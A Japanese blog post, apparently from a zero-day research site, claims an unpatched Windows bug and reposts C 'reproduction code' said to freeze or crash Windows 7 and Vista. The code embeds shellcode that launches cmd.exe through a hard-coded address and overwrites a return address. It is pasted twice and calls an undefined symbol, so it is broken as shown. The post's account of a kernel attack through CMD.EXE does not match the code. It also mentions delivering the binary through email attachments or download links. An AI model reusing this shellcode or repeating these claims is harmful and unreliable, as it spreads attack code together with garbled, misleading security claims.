本件は随分前発見された問題ですが、中々Microsoft社が直してくれないです。
今現在いくつかインターネットページに本件の再現コードを交換されております。
例えばこのページ。
下記のコードをコンパイルしたら、実行するとWindowsが、バーションによる、フリーズか、又はブルースクリーンになってしまいます。
#include <windows.h>
#include <winbase.h>
unsigned char hellcodenet[]=
"\x8b\xec\x55\x8b\xec"
"\x68\x65\x78\x65\x2F"
"\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8"
"\xc7\x93\xc1\x77"
"\xff\xd0"
;
int main ()
{
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)knocked;
return 0;
}
#include <winbase.h>
unsigned char hellcodenet[]=
"\x8b\xec\x55\x8b\xec"
"\x68\x65\x78\x65\x2F"
"\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8"
"\xc7\x93\xc1\x77"
"\xff\xd0"
;
int main ()
{
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)knocked;
return 0;
}
上記の再現仕方はCMD.EXEのバグに当たってカーネルに攻撃する可能性が出ます。パッチしなきゃ行け無いのはcmdのコマンドフィルター、特にshellコードに対してフィルターです。Windows7とVista SP1 INGで再現確認が出来ました。
まさしく直接リモート攻撃になる可能性が低いけど、コンパイルされたバイナリをメール添付又はウェブページのダウンロードリンクに要られたら危険な事になりますね。
そもそも交換されているコードなので…時間の問題です。
本件は現在WindowsOSのパッチが出るまでにのゼロデイです。
---
http://0day.jp
ゼロデイ・リサーチチーム
アドリアン・ヘンドリック
0 件のコメント:
コメントを投稿